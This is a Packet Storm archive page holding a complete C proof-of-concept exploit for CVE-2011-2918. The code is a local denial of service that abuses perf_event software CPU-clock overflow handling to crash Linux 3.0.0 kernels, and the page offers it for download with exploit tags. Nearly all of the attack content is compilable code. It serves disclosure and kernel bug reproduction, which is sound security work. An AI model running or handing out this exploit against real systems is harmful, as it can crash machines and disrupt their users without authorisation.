what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel perf_count_sw_cpu_clock Denial Of Service

Linux Kernel perf_count_sw_cpu_clock Denial Of Service
Posted Sep 1, 2011
Authored by Vince Weaver

Linux kernel perf_count_sw_cpu_clock event local denial of service exploit.

tags | exploit, denial of service, kernel, local
systems | linux
advisories | CVE-2011-2918
SHA-256 | 82efb2566f8c4db68e912d17e8d4f85466e038736947159bc990364046beee7f

Linux Kernel perf_count_sw_cpu_clock Denial Of Service

Change Mirror Download
/* Error with overflows and perf::perf_count_sw_cpu_clock                    */
/* This test will crash Linux 3.0.0 */
/* compile with gcc -O2 -o oflo_sw_cpu_clock_crash oflo_sw_cpu_clock_crash.c */
/* by Vince Weaver <vweaver1 _at_ eecs.utk.edu> */
#define _GNU_SOURCE 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

#include <linux/perf_event.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <signal.h>

#include <sys/prctl.h>
#define MATRIX_SIZE 512
static double a[MATRIX_SIZE][MATRIX_SIZE];
static double b[MATRIX_SIZE][MATRIX_SIZE];
static double c[MATRIX_SIZE][MATRIX_SIZE];
static void naive_matrix_multiply(int quiet) {
double s;
int i,j,k;
for(i=0;i<MATRIX_SIZE;i++) {
for(j=0;j<MATRIX_SIZE;j++) {
a[i][j]=(double)i*(double)j;
b[i][j]=(double)i/(double)(j+5);
}
}
for(j=0;j<MATRIX_SIZE;j++) {
for(i=0;i<MATRIX_SIZE;i++) {
s=0;
for(k=0;k<MATRIX_SIZE;k++) {
s+=a[i][k]*b[k][j];
}
c[i][j] = s;
}
}
s=0.0;
for(i=0;i<MATRIX_SIZE;i++) {
for(j=0;j<MATRIX_SIZE;j++) {
s+=c[i][j];
}
}
if (!quiet) printf("Matrix multiply sum: s=%lf\n",s);
return;
}

static int total=0;
void our_handler(int signum,siginfo_t *oh, void *blah) {
int fd=oh->si_fd;
ioctl(fd , PERF_EVENT_IOC_DISABLE,0);
total++;
ioctl(fd , PERF_EVENT_IOC_REFRESH,1);
}
int perf_event_open(struct perf_event_attr *hw_event_uptr,
pid_t pid, int cpu, int group_fd, unsigned long flags) {
return syscall(__NR_perf_event_open,hw_event_uptr,pid,cpu,group_fd,flags);
}
int main( int argc, char **argv ) {
int fd;
void *blargh;
struct perf_event_attr pe;
struct sigaction sa;
memset(&sa, 0, sizeof(struct sigaction));
sa.sa_sigaction=our_handler;
sa.sa_flags=SA_SIGINFO;
if (sigaction(SIGIO,&sa,NULL)<0) {
fprintf(stderr,"Error setting up signal handler\n");
exit(1);
}
memset(&pe,0,sizeof(struct perf_event_attr));
pe.type=PERF_TYPE_SOFTWARE;
pe.size=sizeof(struct perf_event_attr);
pe.config=PERF_COUNT_SW_CPU_CLOCK;
pe.sample_period=100000;
pe.sample_type=PERF_SAMPLE_IP;
pe.read_format=PERF_FORMAT_GROUP|PERF_FORMAT_ID;
pe.disabled=1;
pe.pinned=1;
pe.exclude_kernel=1;
pe.exclude_hv=1;
pe.wakeup_events=1;
fd=perf_event_open(&pe,0,-1,-1,0);
if (fd<0) {
printf("Error opening\n");
}
blargh=mmap(NULL,(1+2)*4096,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
fcntl(fd,F_SETFL,O_RDWR|O_NONBLOCK|O_ASYNC);
fcntl(fd,F_SETSIG,SIGIO);
fcntl(fd,F_SETOWN,getpid());
ioctl(fd,PERF_EVENT_IOC_RESET,0);
ioctl(fd,PERF_EVENT_IOC_ENABLE,0);
naive_matrix_multiply(0);
ioctl(fd,PERF_EVENT_IOC_DISABLE,0);
munmap(blargh,(1+2)*4096);
close(fd);
printf("Total overflows: %d\n",total);
return 0;
}


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close